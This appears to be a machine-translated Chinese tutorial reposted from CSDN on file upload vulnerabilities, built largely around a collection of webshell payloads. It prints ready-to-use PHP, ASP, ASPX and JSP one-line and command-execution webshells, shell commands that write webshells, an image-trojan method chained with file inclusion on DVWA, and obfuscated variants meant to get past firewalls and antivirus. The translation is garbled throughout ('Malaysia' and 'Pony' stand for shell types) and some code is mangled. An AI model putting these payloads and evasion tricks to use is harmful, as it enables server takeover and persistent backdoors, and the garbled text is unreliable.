一篇文章教你学会文件上传漏洞(文件上传漏洞可以上传哪些内容)

一篇文章教你学会文件上传漏洞Ⅰ、文件上传漏洞
一、原理以及定义:
文件上传漏洞是指用户上传了一个可执行的脚本文件(php、jsp、xml、cer、asp、aspx等文件),而 WE

、文件上传漏洞

一、原理以及定义:

文件上传漏洞是指用户上传可执行脚本文件(php、jsp、xml、cer、asp、aspx等),但web系统没有检测到或者逻辑不够安全意味着没有。文件上传功能本身并没有什么问题,但问题在于文件上传后如何处理和解释。文件上传攻击是利用Web 应用程序中未严格过滤上传文件的漏洞,将超出应用程序定义的类型范围的文件上传到Web 服务器。成功上传后,此类文件通常会成为特洛伊木马。攻击者可以获得当前的web shell。

二、入侵的条件:

(1)木马上传成功且未被查杀。 (2)已知特洛伊木马的路径。 (3)上传的木马可以成功执行。

如果满足这三个条件,入侵就会成功。

三、常见的一句话木马:

PHP 一句话木马:php @eval($_POST[\’pass\’]);

ASP语句为:%eval request(\’pass\’)%

aspx语句为: %@ Page Language=\’Jscript\’% %eval(Request.Item[\’pass\’],\’unsafe\’);%

四、防御及绕过防御:

上传:

防御:前端验证、后端验证。

绕过: 1.文件后缀绕过—-黑名单绕过、白名单绕过。 2.绕过文件内容:Ema、杀毒软件

绕过文件后缀后更高级的防御是绕过文件内容,一般是防病毒。如果同时存在包含漏洞的文件,则可以利用公开权。

上传后: 1.上传后随机重命名,不输出文件保存位置。 2、去掉文件存储目录的执行权限

五、危害:

黑客通过将特洛伊木马直接上传到服务器来访问网站。

六、命令行写入webshell:

1.Windows:

echo ^?php @eval($_POST[\’x\’]) ?^shell.php

知识点:(1)^作为转义字符出现。在cmd环境下,有些字符有特殊的作用,比如|代表重定向,代表语句连接,所以如果需要将它们输出为字符,可以写这样的方法: as echo, echo |. 导致——cmd 解释器将这些特殊字符视为具有特殊功能的字符而不是常规字符。您必须在每个特殊字符之前添加转义字符^。因此,要输出这些特殊字符,必须使用echo ^、echo ^|、echo ^|^|、echo ^^.等格式。逃到这里,

(2)这里为什么不把^换成引号呢?因为Windows写的时候会写引号。

2.Linux:

echo \’?php @eval($_POST[\’x\’]);

知识点:$是Linux系统上的变量符号,字符串按原样打印,不进行转义或使用单引号来获取变量(否则$_POST就是这里的变量符号)。将其用单引号引起来。

在命令行中写入文本

Linux:

echo -e \’?@include(\\$_POST[\’c\’]);\’

webshell.cc.php 语句将在同一目录中生成。 密码:c

赢:

echo ^%eval request(\’c\’)%^ webshell.cc.asp

webshell.cc.asp 语句在同一目录中生成。 密码:c

、webshell总结

一、webshell(木马)

1.webshell概念

客户的网站经常上传各种大小的马匹。我们所说的“马”是指特洛伊木马,而不是真正的马。 攻击者通常利用文件上传漏洞来上传可执行和可解析的脚本文件。通过这个脚本,您将能够在服务器端执行命令。这就是你经常听到的WebShell,这个脚本文件是:我们常说的马或小马。 1.马有哪些种类?小马的优点是体积较小,功能较少,更难找到且功能单一。经常用作上传到DaMa的垫脚石。 马来西亚幅员辽阔,实力雄厚,但很容易找到。 One Sentence 特洛伊木马是另一种源自Pony 和Big Horse 的特洛伊木马。您所需要的只是一行简短的代码和WebShell 工具的组合(菜刀、蚁剑、冰蝎子等)。功能相当于大马(执行命令行、文件上传、文件下载等功能)。

2.小马和一句话木马的区别和联系?

特洛伊木马是一种伪装成合法程序或文件植入用户设备的恶意软件。单行木马是一种特殊的木马,仅包含一行代码,利用操作系统特性进行恶意操作。

功能:Pony 通常具有多种功能,可用于窃取敏感信息、远程控制受感染的设备以及植入其他恶意软件。一句话木马的功能比较简单,通常用于远程控制受感染设备,包括执行命令、上传下载文件等。传播方式:小马通常采用社会工程手段诱骗用户下载运行,或利用漏洞自动传播。单句木马通常通过利用服务器漏洞或网络钓鱼攻击等网络攻击方式进行传播。大脑封闭术:小马通常会尽可能隐藏自己的存在,以避免被用户注意到。一句话木马代码非常短,很容易隐藏在合法脚本后面,降低被发现的可能性。

Pony 和单句木马有一些相似之处,但主要区别在于单句木马注重简单性和效率,而Pony 则更加多样化且功能丰富。在实践中,声明木马有时被用作小马的一部分。

3.一句话木马的优缺点

优点:简短、简洁、强大。

缺点:容易被安全软件检测到。为了增加隐蔽性,还出现了各种单句木马变体。

4.怎样搭建文件上传的靶场?

ps:有些关卡只能在Windows上构建,有些关卡只能在Linux上构建,所以两种构建方法都需要。

1.直接指定Windows dvwa并上传库

2.Linux系统使用docker下载。

二、一句话木马

1.一句话木马定义

特洛伊木马的正式名称是托管在您的计算机中的恶意远程控制程序。特洛伊木马程序是黑客最常用的工具之一,因为它们可以在计算机管理员不知情的情况下开放系统权限、泄露用户信息或窃取整个计算机的管理权限。

简而言之,木马就是一段简单的代码,仅仅用这短短的一行代码就可以实现与马来西亚木马相同的功能。木马短句

它结构紧凑、功能强大且非常隐秘,在入侵中始终发挥着非常重要的作用。

简而言之,特洛伊木马就是一匹小马。防火墙会拦截数据包的内容,因此,如果它检测到数据包中包含关键字system,就会让请求通过。所以先上传一个内容简单的小马,然后再上传。控制对方机器后的巨大代码和仙马。这扩大了您的管理权限。

三、小马

1.概念

小马和大马都是网页后门的类型,用于控制网站权限。主要区别在于小马是用来上传大马的。我在通过Pony上传马来西亚时有一个问题。这并不是多余的。为什么要使用Pony上传马来西亚?为什么不直接上传到马来西亚使用呢?事实上,这是由于Pony体积更小,比Big Horse有更好的隐蔽性优势,以及文件大小上传限制的漏洞,而且Pony也常用作备份后门。

2.网页小马

Pony非常小,只有2KB,隐蔽性非常好。 Pony的功能很简单,就是一个上传功能,而且它唯一的功能就是上传文件,没有别的。它可以通过一些安全扫描。小马是上传到马来西亚的。很多漏洞都有上传限制,在马来西亚上传不了,所以必须先上传小马,然后通过小马上传马来西亚。 Pony还可以利用IIS中的漏洞结合图像合成来执行。

它在幕后使用用Java语言编写的JSP木马。与之前的一句话木马不同,Chopper 的JSP 木马更长。下面是一个简单的JSP小马。

%

if(\’123\’.equals(request.getParameter(\’pwd\’))){

java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter(\’i\’)).getInputStream();

整数a=-1;

byte[] b=新字节[2048];

输出.print(\’pre\’);

while((a=in.read(b))!=-1){

out.println(新字符串(b));

}

输出.print(\’/pre\’);

}

%

如果上传成功后可以解析,则通过请求http://服务器IP:端口/Shell/cmd.jsp?pwd=123i=ipconfig来运行命令。

四、大马

1.网页大马

虽然Malaysia的体积比较大,一般在50K左右,是Pony的几倍,但是相应的数据管理、命令操作、数据库管理、解压、提权等功能也非常强大。很强大。一旦这个马来西亚建立了一个网站,这个网站基本上就在这个马来西亚的控制之下了。马来西亚的掩盖很糟糕,因为它包含大量敏感代码,很容易被安全程序扫描。

中国刀刑不算。 通过客户端操作时,中国刀一句话也很厉害。 一句代码可以和马来西亚实现的一样。当我说小马和大马时,我指的是网页类型。小马帮助大马上传。小马也常被用作后门。大型马更容易找到,但小马更有可能隐藏在系统的文件夹中。

我们看一下马来西亚的用例:在虚拟机中将PHP Malaysia上传到DVWA(最后附上源代码):

访问木马文件123.php,提交密码123456即可进入马来西亚功能列表。 下图显示了文件管理功能。

继续访问命令执行功能(其他功能未显示)。

马来西亚:

大马.php

五、图片马

1.概念

如果防御系数比较高(DVWA范围高,但文件包含漏洞也可以被利用)

如何成功上传木马?防御者通常会根据类型、大小等进行过滤。如果您提供照片上传选项,我们也会收集您的照片。即使攻击者更改文件类型,他们也无法突破图像收集级别(某些文件内容的验证)。因此,您需要一张照片作为封面。创建隐藏在照片下方的特洛伊木马。 Linux 和Windows 都有相应的命令,允许您将一个文件合并到另一个文件后面以达到隐藏的目的。

您可以看到高级代码读取文件名中最后一个“.”之后的字符串,并期望通过文件名限制文件类型。因此,上传的文件名必须采用以下格式: “*.jpg”、“.jpeg”或“*.png”。同时getimagesize()函数将上传文件的文件头限制为图片类型。

2.制作图片马

首先,您需要将上传文件的文件头伪装成图片。首先,使用复制命令将一句话木马文件Hack.php与常规图像文件ClearSky.jpg合并。

【注意】以下是使用CMD上的复制命令创建“图片木马”的步骤。其中,ClearSky.jpg/b中的“b”表示“二进制文件”,hack中的“a”表示。 php/a 表示ASCII 代码文件。

使用木马生成图像文件hack.jpg。

接下来,当您打开生成的木马图像文件时,您会注意到图像文件的末尾附加了文本木马。

然后我尝试上传生成的木马图片文件hack.jpg,上传成功。

接下来访问图片木马,但由于是图片木马,导致PHP脚本无法解析,Chopper连接木马失败。

3.利用图片马

新思路:结合DVWA射击场自带的包含漏洞的文件,可以上传PHP木马并连接到刀上。 下面是攻击的演示。首先按照上述方法新建一个图片木马,并将图片文件后面的PHP脚本修改如下:

?php fputs(fopen(\’muma.php\’,\’w\’),\’?php @eval($_POST[hack]);\’);

使用新木马将其上传到DVWA,并使用文件包含漏洞模块访问木马文件。此时,DVWA文件中存在漏洞的路径下会自动生成一个PHP一句话木马脚本文件muma.php。

此时再次连刀即可连接成功。至此,我们通过结合文件包含漏洞,将图片木马上传到只能上传图片的文件上传功能,成功生成了一句话木马。

、一句话木马大全总结

一、PHP一句话木马

1、普通句子木马:

?php

@eval($_POST[123456]);

2、一句话爆木马:

?php

substr(md5($_REQUEST[\’x\’]),28)==\’6862\’eval($_REQUEST[\’密码\’]);

*菜刀地址http://192.168.64.137/x.php?x=myh0st

3.经过狗时要说的话:

?php

($_=@$_GET[s]).@$_($_POST[高黑客])

? //菜刀地址http://localhost/1.php?s=assert

php $a=\’a\’.\’s\’.\’s\’.\’e\’.\’r\’.t\’; $a($_POST[hihack]);

4. 404个隐藏句子:

!DOCTYPE HTML PUBLIC \’-//IETF//DTD HTML 2.0//EN\’

html头

title404 未找到/标题

/头部和身体

h1 未找到/h1

p在此服务器上找不到请求的URL /error.php。 /p

/正文/html

?php

@preg_replace(\’/[checksql]/e\’,$_POST[\’hihack\’],\’saft\’);

连接斩波器后,将以下内容添加到配置栏:

Odate=@eval($_POST[paxmac]);/O

5. 不带问号(?)的句子:

脚本语言=\’php\’eval($_POST[hihack]);/script

6. 逃避检测。

?phpassert($_REQUEST[\’hihack\’]);

7. 翻译一句话后门。

二、ASP一句话木马

1、常用句子:

%eval request(\’hihack\’)% 或%execute(request(\’hihack\’))%

2、访问Unicode编码的木马:

插入Access数据库攠集正戠戠戠戠抠 编码前:执行% request(\’a\’)%

然后备份您的Web shell 并将密码设置为

3、将木马插入配置文件(需要有条件支持,插入的数据会写入配置文件)。

插入: \’%% bbbb=请求(\’aaaa\’)%% eval(bbbb)%%\’

访问错误。获取配置文件的地址,然后连接,密码aaaa

4. 没有%的单词:

脚本语言=VBScript runat=serverexecute request(\’hihack\’)/script

5、不带双引号(\”)的句子:

评估请求(chr(35))密码:#

三、ASPX一句话木马

1、常用句子:

%@ 页面语言=”Jscript”% %eval(Request.Item[“hihack”],”不安全”);%

、木马免杀

一、木马免杀

木马即使运行成功,过一段时间会不会被管理员杀掉?如何避免被杀?上面木马已经成功上传,但是所有病毒只要管理员清除即可清除。它还将指定这是一个后门。因此,作为攻击者,你需要了解各种技巧以避免被杀死。防守者的防守非常简单。如果论坛上发现了新的反查杀方法,安全人员立即将其列入黑名单,那么这种反查杀方法就失效了。因此,攻击者必须不断创新,发明新的反杀技术。

二、免杀思路

1. 重新编码您的源代码。

?php

$a=范围(1,200);

$b=chr($a[96]).chr($a[114]).chr($a[114]).chr($a[100]).chr($a[113]).chr( $a[115]);

断言(${chr($a[94]).chr($a[79]).chr($a[78]).chr($a[82]).chr($a[83])}[ chr($a[51])]);

2、将一句话木马进行Base64编码,并以“乱七八糟”的代码存储。请直接看图片。

3、这仍然是一个经过改造的一句话木马,不过这次改造的是数组中的键值对。非常强壮。

不得不说,避免谋杀的想法越淫秽越好。很有意思。将来,当我熟练掌握了入侵之后,我计划研究PHP代码的各种防病毒技术。这很有趣,而且想法也很下流。

#以上介绍如何了解文件上传漏洞的文章仅供参考。相关信息请参见官方公告。

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/91583.html

(0)
CSDN的头像CSDN
上一篇 2024年6月22日
下一篇 2024年6月22日

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注